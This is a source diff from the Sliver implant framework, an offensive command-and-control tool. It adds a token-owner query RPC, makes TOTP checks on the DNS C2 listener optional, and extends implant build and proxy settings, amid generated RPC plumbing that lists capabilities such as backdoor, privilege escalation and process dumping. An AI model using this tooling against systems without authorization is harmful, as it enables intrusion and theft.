+	83,  // 111: rpcpb.SliverRPC.WGListSocksServers:input_type -> sliverpb.WGSocksServersReq
+	84,  // 112: rpcpb.SliverRPC.Shell:input_type -> sliverpb.ShellReq
+	85,  // 113: rpcpb.SliverRPC.Portfwd:input_type -> sliverpb.PortfwdReq
+	86,  // 114: rpcpb.SliverRPC.CreateSocks:input_type -> sliverpb.Socks
+	86,  // 115: rpcpb.SliverRPC.CloseSocks:input_type -> sliverpb.Socks
+	87,  // 116: rpcpb.SliverRPC.SocksProxy:input_type -> sliverpb.SocksData
+	88,  // 117: rpcpb.SliverRPC.CreateTunnel:input_type -> sliverpb.Tunnel
+	88,  // 118: rpcpb.SliverRPC.CloseTunnel:input_type -> sliverpb.Tunnel
+	89,  // 119: rpcpb.SliverRPC.TunnelData:input_type -> sliverpb.TunnelData
+	0,   // 120: rpcpb.SliverRPC.Events:input_type -> commonpb.Empty
+	90,  // 121: rpcpb.SliverRPC.GetVersion:output_type -> clientpb.Version
+	91,  // 122: rpcpb.SliverRPC.GetOperators:output_type -> clientpb.Operators
+	0,   // 123: rpcpb.SliverRPC.Kill:output_type -> commonpb.Empty
+	92,  // 124: rpcpb.SliverRPC.Reconfigure:output_type -> sliverpb.Reconfigure
+	0,   // 125: rpcpb.SliverRPC.Rename:output_type -> commonpb.Empty
+	93,  // 126: rpcpb.SliverRPC.GetSessions:output_type -> clientpb.Sessions
+	94,  // 127: rpcpb.SliverRPC.GetBeacons:output_type -> clientpb.Beacons
+	4,   // 128: rpcpb.SliverRPC.GetBeacon:output_type -> clientpb.Beacon
+	0,   // 129: rpcpb.SliverRPC.RmBeacon:output_type -> commonpb.Empty
+	95,  // 130: rpcpb.SliverRPC.GetBeaconTasks:output_type -> clientpb.BeaconTasks
+	5,   // 131: rpcpb.SliverRPC.GetBeaconTaskContent:output_type -> clientpb.BeaconTask
+	96,  // 132: rpcpb.SliverRPC.MonitorStart:output_type -> commonpb.Response
+	0,   // 133: rpcpb.SliverRPC.MonitorStop:output_type -> commonpb.Empty
+	97,  // 134: rpcpb.SliverRPC.GetJobs:output_type -> clientpb.Jobs
+	98,  // 135: rpcpb.SliverRPC.KillJob:output_type -> clientpb.KillJob
+	99,  // 136: rpcpb.SliverRPC.StartMTLSListener:output_type -> clientpb.MTLSListener
+	100, // 137: rpcpb.SliverRPC.StartWGListener:output_type -> clientpb.WGListener
+	101, // 138: rpcpb.SliverRPC.StartDNSListener:output_type -> clientpb.DNSListener
+	102, // 139: rpcpb.SliverRPC.StartHTTPSListener:output_type -> clientpb.HTTPListener
+	102, // 140: rpcpb.SliverRPC.StartHTTPListener:output_type -> clientpb.HTTPListener
+	103, // 141: rpcpb.SliverRPC.StartTCPStagerListener:output_type -> clientpb.StagerListener
+	103, // 142: rpcpb.SliverRPC.StartHTTPStagerListener:output_type -> clientpb.StagerListener
+	12,  // 143: rpcpb.SliverRPC.LootAdd:output_type -> clientpb.Loot
+	0,   // 144: rpcpb.SliverRPC.LootRm:output_type -> commonpb.Empty
+	12,  // 145: rpcpb.SliverRPC.LootUpdate:output_type -> clientpb.Loot
+	12,  // 146: rpcpb.SliverRPC.LootContent:output_type -> clientpb.Loot
+	104, // 147: rpcpb.SliverRPC.LootAll:output_type -> clientpb.AllLoot
+	104, // 148: rpcpb.SliverRPC.LootAllOf:output_type -> clientpb.AllLoot
+	105, // 149: rpcpb.SliverRPC.Hosts:output_type -> clientpb.AllHosts
+	13,  // 150: rpcpb.SliverRPC.Host:output_type -> clientpb.Host
+	0,   // 151: rpcpb.SliverRPC.HostRm:output_type -> commonpb.Empty
+	0,   // 152: rpcpb.SliverRPC.HostIOCRm:output_type -> commonpb.Empty
+	106, // 153: rpcpb.SliverRPC.Generate:output_type -> clientpb.Generate
+	106, // 154: rpcpb.SliverRPC.Regenerate:output_type -> clientpb.Generate
+	107, // 155: rpcpb.SliverRPC.ImplantBuilds:output_type -> clientpb.ImplantBuilds
+	0,   // 156: rpcpb.SliverRPC.DeleteImplantBuild:output_type -> commonpb.Empty
+	108, // 157: rpcpb.SliverRPC.Canaries:output_type -> clientpb.Canaries
+	109, // 158: rpcpb.SliverRPC.GenerateWGClientConfig:output_type -> clientpb.WGClientConfig
+	110, // 159: rpcpb.SliverRPC.GenerateUniqueIP:output_type -> clientpb.UniqueWGIP
+	111, // 160: rpcpb.SliverRPC.ImplantProfiles:output_type -> clientpb.ImplantProfiles
+	0,   // 161: rpcpb.SliverRPC.DeleteImplantProfile:output_type -> commonpb.Empty
+	18,  // 162: rpcpb.SliverRPC.SaveImplantProfile:output_type -> clientpb.ImplantProfile
+	112, // 163: rpcpb.SliverRPC.MsfStage:output_type -> clientpb.MsfStager
+	113, // 164: rpcpb.SliverRPC.ShellcodeRDI:output_type -> clientpb.ShellcodeRDI
+	114, // 165: rpcpb.SliverRPC.GetCompiler:output_type -> clientpb.Compiler
+	115, // 166: rpcpb.SliverRPC.Websites:output_type -> clientpb.Websites
+	21,  // 167: rpcpb.SliverRPC.Website:output_type -> clientpb.Website
+	0,   // 168: rpcpb.SliverRPC.WebsiteRemove:output_type -> commonpb.Empty
+	21,  // 169: rpcpb.SliverRPC.WebsiteAddContent:output_type -> clientpb.Website
+	21,  // 170: rpcpb.SliverRPC.WebsiteUpdateContent:output_type -> clientpb.Website
+	21,  // 171: rpcpb.SliverRPC.WebsiteRemoveContent:output_type -> clientpb.Website
+	24,  // 172: rpcpb.SliverRPC.Ping:output_type -> sliverpb.Ping
+	116, // 173: rpcpb.SliverRPC.Ps:output_type -> sliverpb.Ps
+	117, // 174: rpcpb.SliverRPC.Terminate:output_type -> sliverpb.Terminate
+	118, // 175: rpcpb.SliverRPC.Ifconfig:output_type -> sliverpb.Ifconfig
+	119, // 176: rpcpb.SliverRPC.Netstat:output_type -> sliverpb.Netstat
+	120, // 177: rpcpb.SliverRPC.Ls:output_type -> sliverpb.Ls
+	121, // 178: rpcpb.SliverRPC.Cd:output_type -> sliverpb.Pwd
+	121, // 179: rpcpb.SliverRPC.Pwd:output_type -> sliverpb.Pwd
+	122, // 180: rpcpb.SliverRPC.Mv:output_type -> sliverpb.Mv
+	123, // 181: rpcpb.SliverRPC.Rm:output_type -> sliverpb.Rm
+	124, // 182: rpcpb.SliverRPC.Mkdir:output_type -> sliverpb.Mkdir
+	125, // 183: rpcpb.SliverRPC.Download:output_type -> sliverpb.Download
+	126, // 184: rpcpb.SliverRPC.Upload:output_type -> sliverpb.Upload
+	127, // 185: rpcpb.SliverRPC.ProcessDump:output_type -> sliverpb.ProcessDump
+	128, // 186: rpcpb.SliverRPC.RunAs:output_type -> sliverpb.RunAs
+	129, // 187: rpcpb.SliverRPC.Impersonate:output_type -> sliverpb.Impersonate
+	130, // 188: rpcpb.SliverRPC.RevToSelf:output_type -> sliverpb.RevToSelf
+	131, // 189: rpcpb.SliverRPC.GetSystem:output_type -> sliverpb.GetSystem
+	132, // 190: rpcpb.SliverRPC.Task:output_type -> sliverpb.Task
+	132, // 191: rpcpb.SliverRPC.Msf:output_type -> sliverpb.Task
+	132, // 192: rpcpb.SliverRPC.MsfRemote:output_type -> sliverpb.Task
+	133, // 193: rpcpb.SliverRPC.ExecuteAssembly:output_type -> sliverpb.ExecuteAssembly
+	134, // 194: rpcpb.SliverRPC.Migrate:output_type -> sliverpb.Migrate
+	135, // 195: rpcpb.SliverRPC.Execute:output_type -> sliverpb.Execute
+	135, // 196: rpcpb.SliverRPC.ExecuteToken:output_type -> sliverpb.Execute
+	136, // 197: rpcpb.SliverRPC.Sideload:output_type -> sliverpb.Sideload
+	137, // 198: rpcpb.SliverRPC.SpawnDll:output_type -> sliverpb.SpawnDll
+	138, // 199: rpcpb.SliverRPC.Screenshot:output_type -> sliverpb.Screenshot
+	139, // 200: rpcpb.SliverRPC.CurrentTokenOwner:output_type -> sliverpb.CurrentTokenOwner
+	140, // 201: rpcpb.SliverRPC.PivotStartListener:output_type -> sliverpb.PivotListener
+	0,   // 202: rpcpb.SliverRPC.PivotStopListener:output_type -> commonpb.Empty
+	141, // 203: rpcpb.SliverRPC.PivotSessionListeners:output_type -> sliverpb.PivotListeners
+	142, // 204: rpcpb.SliverRPC.PivotGraph:output_type -> clientpb.PivotGraph
+	143, // 205: rpcpb.SliverRPC.StartService:output_type -> sliverpb.ServiceInfo
+	143, // 206: rpcpb.SliverRPC.StopService:output_type -> sliverpb.ServiceInfo
+	143, // 207: rpcpb.SliverRPC.RemoveService:output_type -> sliverpb.ServiceInfo
+	144, // 208: rpcpb.SliverRPC.MakeToken:output_type -> sliverpb.MakeToken
+	145, // 209: rpcpb.SliverRPC.GetEnv:output_type -> sliverpb.EnvInfo
+	146, // 210: rpcpb.SliverRPC.SetEnv:output_type -> sliverpb.SetEnv
+	147, // 211: rpcpb.SliverRPC.UnsetEnv:output_type -> sliverpb.UnsetEnv
+	148, // 212: rpcpb.SliverRPC.Backdoor:output_type -> sliverpb.Backdoor
+	149, // 213: rpcpb.SliverRPC.RegistryRead:output_type -> sliverpb.RegistryRead
+	150, // 214: rpcpb.SliverRPC.RegistryWrite:output_type -> sliverpb.RegistryWrite
+	151, // 215: rpcpb.SliverRPC.RegistryCreateKey:output_type -> sliverpb.RegistryCreateKey
+	152, // 216: rpcpb.SliverRPC.RegistryDeleteKey:output_type -> sliverpb.RegistryDeleteKey
+	153, // 217: rpcpb.SliverRPC.RegistryListSubKeys:output_type -> sliverpb.RegistrySubKeyList
+	154, // 218: rpcpb.SliverRPC.RegistryListValues:output_type -> sliverpb.RegistryValuesList
+	155, // 219: rpcpb.SliverRPC.RunSSHCommand:output_type -> sliverpb.SSHCommand
+	156, // 220: rpcpb.SliverRPC.HijackDLL:output_type -> clientpb.DllHijack
+	157, // 221: rpcpb.SliverRPC.GetPrivs:output_type -> sliverpb.GetPrivs
+	73,  // 222: rpcpb.SliverRPC.OpenSession:output_type -> sliverpb.OpenSession
+	0,   // 223: rpcpb.SliverRPC.CloseSession:output_type -> commonpb.Empty
+	158, // 224: rpcpb.SliverRPC.RegisterExtension:output_type -> sliverpb.RegisterExtension
+	159, // 225: rpcpb.SliverRPC.CallExtension:output_type -> sliverpb.CallExtension
+	160, // 226: rpcpb.SliverRPC.ListExtensions:output_type -> sliverpb.ListExtensions
+	161, // 227: rpcpb.SliverRPC.WGStartPortForward:output_type -> sliverpb.WGPortForward
+	161, // 228: rpcpb.SliverRPC.WGStopPortForward:output_type -> sliverpb.WGPortForward
+	162, // 229: rpcpb.SliverRPC.WGStartSocks:output_type -> sliverpb.WGSocks
+	162, // 230: rpcpb.SliverRPC.WGStopSocks:output_type -> sliverpb.WGSocks
+	163, // 231: rpcpb.SliverRPC.WGListForwarders:output_type -> sliverpb.WGTCPForwarders
+	164, // 232: rpcpb.SliverRPC.WGListSocksServers:output_type -> sliverpb.WGSocksServers
+	165, // 233: rpcpb.SliverRPC.Shell:output_type -> sliverpb.Shell
+	166, // 234: rpcpb.SliverRPC.Portfwd:output_type -> sliverpb.Portfwd
+	86,  // 235: rpcpb.SliverRPC.CreateSocks:output_type -> sliverpb.Socks
+	0,   // 236: rpcpb.SliverRPC.CloseSocks:output_type -> commonpb.Empty
+	87,  // 237: rpcpb.SliverRPC.SocksProxy:output_type -> sliverpb.SocksData
+	88,  // 238: rpcpb.SliverRPC.CreateTunnel:output_type -> sliverpb.Tunnel
+	0,   // 239: rpcpb.SliverRPC.CloseTunnel:output_type -> commonpb.Empty
+	89,  // 240: rpcpb.SliverRPC.TunnelData:output_type -> sliverpb.TunnelData
+	167, // 241: rpcpb.SliverRPC.Events:output_type -> clientpb.Event
+	121, // [121:242] is the sub-list for method output_type
+	0,   // [0:121] is the sub-list for method input_type
 	0,   // [0:0] is the sub-list for extension type_name
 	0,   // [0:0] is the sub-list for extension extendee
 	0,   // [0:0] is the sub-list for field type_name

protobuf/rpcpb/services.proto

@@ -115,6 +115,7 @@ service SliverRPC {
     rpc Sideload(sliverpb.SideloadReq) returns (sliverpb.Sideload);
     rpc SpawnDll(sliverpb.InvokeSpawnDllReq) returns (sliverpb.SpawnDll);
     rpc Screenshot(sliverpb.ScreenshotReq) returns (sliverpb.Screenshot);
+    rpc CurrentTokenOwner(sliverpb.CurrentTokenOwnerReq) returns (sliverpb.CurrentTokenOwner);
     
     // *** Pivots ***
     rpc PivotStartListener(sliverpb.PivotStartListenerReq) returns (sliverpb.PivotListener);

protobuf/rpcpb/services_grpc.pb.go

@@ -1,4 +1,8 @@
 // Code generated by protoc-gen-go-grpc. DO NOT EDIT.
+// versions:
+// - protoc-gen-go-grpc v1.2.0
+// - protoc             v3.20.1
+// source: rpcpb/services.proto
 
 package rpcpb
 
@@ -114,6 +118,7 @@ type SliverRPCClient interface {
 	Sideload(ctx context.Context, in *sliverpb.SideloadReq, opts ...grpc.CallOption) (*sliverpb.Sideload, error)
 	SpawnDll(ctx context.Context, in *sliverpb.InvokeSpawnDllReq, opts ...grpc.CallOption) (*sliverpb.SpawnDll, error)
 	Screenshot(ctx context.Context, in *sliverpb.ScreenshotReq, opts ...grpc.CallOption) (*sliverpb.Screenshot, error)
+	CurrentTokenOwner(ctx context.Context, in *sliverpb.CurrentTokenOwnerReq, opts ...grpc.CallOption) (*sliverpb.CurrentTokenOwner, error)
 	// *** Pivots ***
 	PivotStartListener(ctx context.Context, in *sliverpb.PivotStartListenerReq, opts ...grpc.CallOption) (*sliverpb.PivotListener, error)
 	PivotStopListener(ctx context.Context, in *sliverpb.PivotStopListenerReq, opts ...grpc.CallOption) (*commonpb.Empty, error)
@@ -884,6 +889,15 @@ func (c *sliverRPCClient) Screenshot(ctx context.Context, in *sliverpb.Screensho
 	return out, nil
 }
 
+func (c *sliverRPCClient) CurrentTokenOwner(ctx context.Context, in *sliverpb.CurrentTokenOwnerReq, opts ...grpc.CallOption) (*sliverpb.CurrentTokenOwner, error) {
+	out := new(sliverpb.CurrentTokenOwner)
+	err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/CurrentTokenOwner", in, out, opts...)
+	if err != nil {
+		return nil, err
+	}
+	return out, nil
+}
+
 func (c *sliverRPCClient) PivotStartListener(ctx context.Context, in *sliverpb.PivotStartListenerReq, opts ...grpc.CallOption) (*sliverpb.PivotListener, error) {
 	out := new(sliverpb.PivotListener)
 	err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/PivotStartListener", in, out, opts...)
@@ -1417,6 +1431,7 @@ type SliverRPCServer interface {
 	Sideload(context.Context, *sliverpb.SideloadReq) (*sliverpb.Sideload, error)
 	SpawnDll(context.Context, *sliverpb.InvokeSpawnDllReq) (*sliverpb.SpawnDll, error)
 	Screenshot(context.Context, *sliverpb.ScreenshotReq) (*sliverpb.Screenshot, error)
+	CurrentTokenOwner(context.Context, *sliverpb.CurrentTokenOwnerReq) (*sliverpb.CurrentTokenOwner, error)
 	// *** Pivots ***
 	PivotStartListener(context.Context, *sliverpb.PivotStartListenerReq) (*sliverpb.PivotListener, error)
 	PivotStopListener(context.Context, *sliverpb.PivotStopListenerReq) (*commonpb.Empty, error)
@@ -1710,6 +1725,9 @@ func (UnimplementedSliverRPCServer) SpawnDll(context.Context, *sliverpb.InvokeSp
 func (UnimplementedSliverRPCServer) Screenshot(context.Context, *sliverpb.ScreenshotReq) (*sliverpb.Screenshot, error) {
 	return nil, status.Errorf(codes.Unimplemented, "method Screenshot not implemented")
 }
+func (UnimplementedSliverRPCServer) CurrentTokenOwner(context.Context, *sliverpb.CurrentTokenOwnerReq) (*sliverpb.CurrentTokenOwner, error) {
+	return nil, status.Errorf(codes.Unimplemented, "method CurrentTokenOwner not implemented")
+}
 func (UnimplementedSliverRPCServer) PivotStartListener(context.Context, *sliverpb.PivotStartListenerReq) (*sliverpb.PivotListener, error) {
 	return nil, status.Errorf(codes.Unimplemented, "method PivotStartListener not implemented")
 }
@@ -3268,6 +3286,24 @@ func _SliverRPC_Screenshot_Handler(srv interface{}, ctx context.Context, dec fun
 	return interceptor(ctx, in, info, handler)
 }
 
+func _SliverRPC_CurrentTokenOwner_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) {
+	in := new(sliverpb.CurrentTokenOwnerReq)
+	if err := dec(in); err != nil {
+		return nil, err
+	}
+	if interceptor == nil {
+		return srv.(SliverRPCServer).CurrentTokenOwner(ctx, in)
+	}
+	info := &grpc.UnaryServerInfo{
+		Server:     srv,
+		FullMethod: "/rpcpb.SliverRPC/CurrentTokenOwner",
+	}
+	handler := func(ctx context.Context, req interface{}) (interface{}, error) {
+		return srv.(SliverRPCServer).CurrentTokenOwner(ctx, req.(*sliverpb.CurrentTokenOwnerReq))
+	}
+	return interceptor(ctx, in, info, handler)
+}
+
 func _SliverRPC_PivotStartListener_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) {
 	in := new(sliverpb.PivotStartListenerReq)
 	if err := dec(in); err != nil {
@@ -4348,6 +4384,10 @@ var SliverRPC_ServiceDesc = grpc.ServiceDesc{
 			MethodName: "Screenshot",
 			Handler:    _SliverRPC_Screenshot_Handler,
 		},
+		{
+			MethodName: "CurrentTokenOwner",
+			Handler:    _SliverRPC_CurrentTokenOwner_Handler,
+		},
 		{
 			MethodName: "PivotStartListener",
 			Handler:    _SliverRPC_PivotStartListener_Handler,

protobuf/sliverpb/constants.go

@@ -279,6 +279,11 @@ const (
 	MsgMvReq
 	// MsgMv - Confirms the success/failure of the mv request (resp to MsgMvReq)
 	MsgMv
+
+	// MsgCurrentTokenOwnerReq - Request to query the thread token owner
+	MsgCurrentTokenOwnerReq
+	// MsgCurrentTokenOwner - Replies with the current thread owner (resp to MsfCurrentToken)
+	MsgCurrentTokenOwner
 )
 
 // Constants to replace enums
@@ -487,6 +492,11 @@ func MsgNumber(request proto.Message) uint32 {
 		return MsgMvReq
 	case *Mv:
 		return MsgMv
+
+	case *CurrentTokenOwnerReq:
+		return MsgCurrentTokenOwnerReq
+	case *CurrentTokenOwner:
+		return MsgCurrentTokenOwner
 	}
 
 	return uint32(0)

protobuf/sliverpb/sliver.proto

@@ -242,6 +242,7 @@ message Download {
   int64 Start = 4;
   int64 Stop = 5;
   bytes Data = 6;
+  bool IsDir = 7;
 
   commonpb.Response Response = 9;
 }
@@ -305,6 +306,16 @@ message RevToSelf {
   commonpb.Response Response = 9;
 }
 
+message CurrentTokenOwnerReq {
+  commonpb.Request Request = 9;
+}
+
+message CurrentTokenOwner {
+  string Output = 1;
+
+  commonpb.Response Response = 9;
+}
+
 // InvokeGetSystemReq - Implant-side version of GetSystemReq, this message
 //                      contains the .Data based on the client's req.Config
 message InvokeGetSystemReq {

server/assets/assets_linux_arm64.go

@@ -0,0 +1,10 @@
+//go:build server
+
+package assets
+
+import "embed"
+
+var (
+	//go:embed fs/sliver.asc fs/*.txt fs/*.zip fs/linux/arm64/*
+	assetsFs embed.FS
+)

server/c2/dns.go

@@ -37,33 +37,29 @@ package c2
 import (
 	"bytes"
 	secureRand "crypto/rand"
+	"encoding/base64"
+	"encoding/binary"
 	"errors"
+	"fmt"
 	"hash/crc32"
 	"sort"
+	"strings"
+	"sync"
+	"time"
 	"unicode"
 
+	consts "github.com/bishopfox/sliver/client/constants"
 	"github.com/bishopfox/sliver/protobuf/dnspb"
 	"github.com/bishopfox/sliver/protobuf/sliverpb"
+	"github.com/bishopfox/sliver/server/core"
 	"github.com/bishopfox/sliver/server/cryptography"
 	"github.com/bishopfox/sliver/server/db"
 	"github.com/bishopfox/sliver/server/generate"
 	sliverHandlers "github.com/bishopfox/sliver/server/handlers"
-	"github.com/bishopfox/sliver/util/encoders"
-	"google.golang.org/protobuf/proto"
-
-	"encoding/base64"
-	"encoding/binary"
-
-	"fmt"
-	"strings"
-	"sync"
-	"time"
-
-	consts "github.com/bishopfox/sliver/client/constants"
-	"github.com/bishopfox/sliver/server/core"
 	"github.com/bishopfox/sliver/server/log"
-
+	"github.com/bishopfox/sliver/util/encoders"
 	"github.com/miekg/dns"
+	"google.golang.org/protobuf/proto"
 )
 
 const (
@@ -82,15 +78,15 @@ var (
 )
 
 // StartDNSListener - Start a DNS listener
-func StartDNSListener(bindIface string, lport uint16, domains []string, canaries bool) *SliverDNSServer {
+func StartDNSListener(bindIface string, lport uint16, domains []string, canaries bool, enforceOTP bool) *SliverDNSServer {
 	// StartPivotListener()
 	server := &SliverDNSServer{
-		server:          &dns.Server{Addr: fmt.Sprintf("%s:%d", bindIface, lport), Net: "udp"},
-		sessions:        &sync.Map{}, // DNS Session ID -> DNSSession
-		messages:        &sync.Map{}, // In progress message streams
-		totpToSessionID: &sync.Map{}, // Atomic TOTP -> DNS Session ID
-		TTL:             0,
-		MaxTXTLength:    defaultMaxTXTLength,
+		server:       &dns.Server{Addr: fmt.Sprintf("%s:%d", bindIface, lport), Net: "udp"},
+		sessions:     &sync.Map{}, // DNS Session ID -> DNSSession
+		messages:     &sync.Map{}, // In progress message streams
+		TTL:          0,
+		MaxTXTLength: defaultMaxTXTLength,
+		EnforceOTP:   enforceOTP,
 	}
 	dnsLog.Infof("Starting DNS listener for %v (canaries: %v) ...", domains, canaries)
 	dns.HandleFunc(".", func(writer dns.ResponseWriter, req *dns.Msg) {
@@ -310,12 +306,12 @@ func (p *PendingEnvelope) Insert(dnsMsg *dnspb.DNSMessage) bool {
 
 // SliverDNSServer - DNS server implementation
 type SliverDNSServer struct {
-	server          *dns.Server
-	sessions        *sync.Map
-	messages        *sync.Map
-	totpToSessionID *sync.Map
-	TTL             uint32
-	MaxTXTLength    int
+	server       *dns.Server
+	sessions     *sync.Map
+	messages     *sync.Map
+	TTL          uint32
+	MaxTXTLength int
+	EnforceOTP   bool
 }
 
 // Shutdown - Shutdown the DNS server
@@ -465,33 +461,29 @@ func (s *SliverDNSServer) refusedErrorResp(req *dns.Msg) *dns.Msg {
 func (s *SliverDNSServer) handleTOTP(domain string, msg *dnspb.DNSMessage, req *dns.Msg) *dns.Msg {
 	dnsLog.Debugf("[dns] totp request: %v", msg)
 	totpCode := fmt.Sprintf("%08d", msg.ID)
-	valid, err := cryptography.ValidateTOTP(totpCode)
-	if err != nil || !valid {
-		dnsLog.Warnf("totp request invalid (%v)", err)
-		return s.nameErrorResp(req)
+	if s.EnforceOTP {
+		valid, err := cryptography.ValidateTOTP(totpCode)
+		if err != nil || !valid {
+			dnsLog.Warnf("totp request invalid (%v)", err)
+			return s.nameErrorResp(req)
+		}
+		dnsLog.Debugf("[dns] totp request valid")
+	} else {
+		dnsLog.Warn("[dns] totp validation is disabled")
 	}
-	dnsLog.Debugf("[dns] totp request valid")
 
-	// Queries must be deterministic, so create or load the dns session id
-	// we'll likely get multiple queries for the same domain
-	actualID, loaded := s.totpToSessionID.LoadOrStore(totpCode, dnsSessionID())
-	dnsSessionID := actualID.(uint32)
+	dnsSessionID := dnsSessionID()
 	dnsLog.Debugf("[dns] Assigned new dns session id = %d", dnsSessionID&sessionIDBitMask)
-	if !loaded {
-		s.sessions.Store(dnsSessionID&sessionIDBitMask, &DNSSession{
-			ID:                dnsSessionID & sessionIDBitMask,
-			outgoingMsgIDs:    []uint32{},
-			outgoingBuffers:   map[uint32][]byte{},
-			outgoingMutex:     &sync.RWMutex{},
-			incomingEnvelopes: map[uint32]*PendingEnvelope{},
-			incomingMutex:     &sync.Mutex{},
-			msgCount:          uint32(0),
-		})
-		go func() {
-			time.Sleep(90 * time.Second) // Best effort to remove totp code after expiration
-			s.totpToSessionID.Delete(totpCode)
-		}()
-	}
+	s.sessions.Store(dnsSessionID&sessionIDBitMask, &DNSSession{
+		ID:                dnsSessionID & sessionIDBitMask,
+		outgoingMsgIDs:    []uint32{},
+		outgoingBuffers:   map[uint32][]byte{},
+		outgoingMutex:     &sync.RWMutex{},
+		incomingEnvelopes: map[uint32]*PendingEnvelope{},
+		incomingMutex:     &sync.Mutex{},
+		msgCount:          uint32(0),
+	})
+
 	resp := new(dns.Msg)
 	resp.SetReply(req)
 	resp.Authoritative = true

server/c2/dns_test.go

@@ -140,7 +140,7 @@ func reassemble(t *testing.T, parent string, size int, encoder encoders.Encoder)
 }
 
 func TestIsC2Domain(t *testing.T) {
-	listener := StartDNSListener("", uint16(9999), c2Domains, false)
+	listener := StartDNSListener("", uint16(9999), c2Domains, false, true)
 	isC2, domain := listener.isC2SubDomain(c2Domains, "asdf.1.example.com.")
 	if !isC2 {
 		t.Fatal("IsC2Domain expected true, got false")
@@ -163,7 +163,7 @@ func TestIsC2Domain(t *testing.T) {
 }
 
 func TestDetermineLikelyEncoders(t *testing.T) {
-	listener := StartDNSListener("", uint16(9999), c2Domains, false)
+	listener := StartDNSListener("", uint16(9999), c2Domains, false, true)
 	sample := randomDataRandomSize(2048)
 	b58Sample := string(encoders.Base58{}.Encode(sample))
 	likelyEncoders := listener.determineLikelyEncoders(b58Sample)

server/c2/jobs.go

@@ -146,8 +146,8 @@ func StartWGListenerJob(listenPort uint16, nListenPort uint16, keyExchangeListen
 }
 
 // StartDNSListenerJob - Start a DNS listener as a job
-func StartDNSListenerJob(bindIface string, lport uint16, domains []string, canaries bool) (*core.Job, error) {
-	server := StartDNSListener(bindIface, lport, domains, canaries)
+func StartDNSListenerJob(bindIface string, lport uint16, domains []string, canaries bool, enforceOTP bool) (*core.Job, error) {
+	server := StartDNSListener(bindIface, lport, domains, canaries, enforceOTP)
 	description := fmt.Sprintf("%s (canaries %v)", strings.Join(domains, " "), canaries)
 	job := &core.Job{
 		ID:          core.NextJobID(),
@@ -362,7 +362,7 @@ func StartPersistentJobs(cfg *configs.ServerConfig) error {
 	}
 
 	for _, j := range cfg.Jobs.DNS {
-		job, err := StartDNSListenerJob(j.Host, j.Port, j.Domains, j.Canaries)
+		job, err := StartDNSListenerJob(j.Host, j.Port, j.Domains, j.Canaries, j.EnforceOTP)
 		if err != nil {
 			return err
 		}

server/certs/acme.go

@@ -23,7 +23,6 @@ import (
 	"path"
 
 	"github.com/bishopfox/sliver/server/log"
-
 	"golang.org/x/crypto/acme/autocert"
 )
 

server/certs/https.go

@@ -1,10 +1,5 @@
 package certs
 
-import (
-	"crypto/rand"
-	"crypto/rsa"
-)
-
 /*
 	Sliver Implant Framework
 	Copyright (C) 2019  Bishop Fox
@@ -23,6 +18,11 @@ import (
 	along with this program.  If not, see <https://www.gnu.org/licenses/>.
 */
 
+import (
+	"crypto/rand"
+	"crypto/rsa"
+)
+
 const (
 	// HTTPSCA - Directory containing operator certificates
 	HTTPSCA = "https"

server/certs/wireguard.go

@@ -1,5 +1,23 @@
 package certs
 
+/*
+	Sliver Implant Framework
+	Copyright (C) 2021  Bishop Fox
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
 import (
 	"encoding/hex"
 	"errors"

server/cli/cli.go

@@ -34,7 +34,6 @@ import (
 	"github.com/bishopfox/sliver/server/console"
 	"github.com/bishopfox/sliver/server/cryptography"
 	"github.com/bishopfox/sliver/server/daemon"
-
 	"github.com/spf13/cobra"
 )
 

server/configs/http-c2.go

@@ -35,7 +35,7 @@ import (
 
 const (
 	httpC2ConfigFileName = "http-c2.json"
-	chromeBaseVer        = 92
+	chromeBaseVer        = 97
 )
 
 // HTTPC2Config - Parent config file struct for implant/server

server/configs/server.go

@@ -93,11 +93,12 @@ type WGJobConfig struct {
 
 // DNSJobConfig - Persistent DNS job config
 type DNSJobConfig struct {
-	Domains  []string `json:"domains"`
-	Canaries bool     `json:"canaries"`
-	Host     string   `json:"host"`
-	Port     uint16   `json:"port"`
-	JobID    string   `json:"job_id"`
+	Domains    []string `json:"domains"`
+	Canaries   bool     `json:"canaries"`
+	Host       string   `json:"host"`
+	Port       uint16   `json:"port"`
+	JobID      string   `json:"job_id"`
+	EnforceOTP bool     `json:"enforce_otp"`
 }
 
 // HTTPJobConfig - Persistent HTTP job config

server/generate/binaries.go

@@ -150,6 +150,7 @@ func ImplantConfigFromProtobuf(pbConfig *clientpb.ImplantConfig) (string, *model
 	cfg.Debug = pbConfig.Debug
 	cfg.Evasion = pbConfig.Evasion
 	cfg.ObfuscateSymbols = pbConfig.ObfuscateSymbols
+	cfg.ConnectionStrategy = pbConfig.ConnectionStrategy
 
 	cfg.WGImplantPrivKey = pbConfig.WGImplantPrivKey
 	cfg.WGServerPubKey = pbConfig.WGServerPubKey
@@ -267,6 +268,7 @@ func SliverShellcode(name string, config *models.ImplantConfig) (string, error)
 		GOROOT:     gogo.GetGoRootDir(appDir),
 		GOPROXY:    getGoProxy(),
 		HTTPPROXY:  getGoHttpProxy(),
+		HTTPSPROXY: getGoHttpsProxy(),
 
 		Obfuscation: config.ObfuscateSymbols,
 		GOGARBLE:    goPrivate(config),
@@ -340,6 +342,7 @@ func SliverSharedLibrary(name string, config *models.ImplantConfig) (string, err
 		GOROOT:     gogo.GetGoRootDir(appDir),
 		GOPROXY:    getGoProxy(),
 		HTTPPROXY:  getGoHttpProxy(),
+		HTTPSPROXY: getGoHttpsProxy(),
 
 		Obfuscation: config.ObfuscateSymbols,
 		GOGARBLE:    goPrivate(config),
@@ -349,7 +352,7 @@ func SliverSharedLibrary(name string, config *models.ImplantConfig) (string, err
 		return "", err
 	}
 
-	dest := path.Join(goConfig.ProjectDir, "bin", path.Base(name))
+	dest := filepath.Join(goConfig.ProjectDir, "bin", filepath.Base(name))
